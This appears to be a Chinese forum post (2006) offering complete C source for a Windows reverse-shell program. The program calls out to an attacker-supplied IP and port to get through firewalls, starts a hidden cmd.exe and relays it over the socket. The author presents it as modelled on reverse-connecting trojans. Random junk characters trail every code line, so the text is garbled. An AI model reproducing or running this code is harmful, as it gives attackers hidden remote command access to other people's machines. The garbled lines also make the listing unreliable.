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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x$z>.4  
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/* ============================== =vsvx{o?  
Rebound port in Windows NT a>&dAo}  
By wind,2006/7 Zd]ua_)I%[  
===============================*/ M63t4; 0A  
#include 23X-h#w  
#include NbK67p:  
I:M15  
#pragma comment(lib,"wsock32.lib") ir~4\G!  
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void OutputShell(); $XcuU sG  
SOCKET sClient; G_ #MXFWt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a&Me#H{  
}[y_Fr0  
void main(int argc,char **argv) 6('CB|ga  
{ T2TWb  
WSADATA stWsaData; jxZ_-1  
int nRet; |=[. _VH1  
SOCKADDR_IN stSaiClient,stSaiServer; @xr}(.  
jP.dQj^j&  
if(argc != 3) =3=8oFx8  
{ C_&ZQlgQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); K@?K4o   
return; ^*F'[!. p  
} Pu(kCH{  
;Q<2Y#  
WSAStartup(MAKEWORD(2,2),&stWsaData); J I E0O`  
'jYKfq~_cJ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nq\~`vH|Gd  
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stSaiClient.sin_family = AF_INET; vBV_aB1{  
stSaiClient.sin_port = htons(0); Ah;`0Hz;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @DKph!c r  
x??H%'rP  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p-h(C'PqF  
{ PJAM_K;  
printf("Bind Socket Failed!\n"); Jm 1n|f  
return; HMw}pp:  
} w$aejz`[  
lr=quWDY  
stSaiServer.sin_family = AF_INET; !Y*O0_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y8/&1s_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u6 4{w,  
p+CK+m   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P}vk5o'  
{ Ki(0s  
printf("Connect Error!"); IO"q4(&;P4  
return; yY!@FGsA  
} o4,9jk$  
OutputShell(); ^2nH6,LPS  
} %-an\.a.  
juMHc$d17  
void OutputShell() "5"{~3Gw^  
{ %F(lq*8X  
char szBuff[1024]; ?>mpUH  
SECURITY_ATTRIBUTES stSecurityAttributes; $ Zj3#l:rK  
OSVERSIONINFO stOsversionInfo; Wqe0m_7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w}?,N  
STARTUPINFO stStartupInfo; 1~S'' [  
char *szShell; fz rH}^  
PROCESS_INFORMATION stProcessInformation; :MGIp%3  
unsigned long lBytesRead; oTveY  
;oOv~ YB7H  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EV_u8?va  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +< )H2  
stSecurityAttributes.lpSecurityDescriptor = 0; gyob q'o-  
stSecurityAttributes.bInheritHandle = TRUE;  >1q:-^  
5KW n>n  
6>[J^k%~w)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L"}2Y3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \cQ+9e)  
bLO^5`6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?}No'E1!I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ygxaT"3"=  
stStartupInfo.wShowWindow = SW_HIDE; RggO|s+0;  
stStartupInfo.hStdInput = hReadPipe; Fyc":{Jd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A s8IjGNs{  
<q=]n%nX  
GetVersionEx(&stOsversionInfo); ~/!jKH7`j  
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switch(stOsversionInfo.dwPlatformId) c1 1?Kq  
{ rGzGbI=  
case 1: MpJ]1  
szShell = "command.com"; "F?p Y@4  
break; C <H$}f  
default: :!fU+2$`^(  
szShell = "cmd.exe"; W\O.[7JP  
break; aL/7xa  
} 6G:7r [  
l?KP /0`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $Q`\-  
X + B=?|M  
send(sClient,szMsg,77,0); \n-.gG  
while(1) 2lxA/.f  
{ p e$WSS J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L7N>p4h]Xj  
if(lBytesRead) Bb7Vf7>  
{ Ca3 {e1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UM. Se(kS  
send(sClient,szBuff,lBytesRead,0); @Z89cTO  
} Kp[5"N8  
else BUXlHh%<R  
{ rR(\fX!dg  
lBytesRead=recv(sClient,szBuff,1024,0); ! ;R}=  
if(lBytesRead<=0) break; -IL' (vx  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {%z5^o1)  
} sX(rJLbD  
} *!,k`=.([#  
ki]i[cdk  
return; A{gniYqvB`  
}
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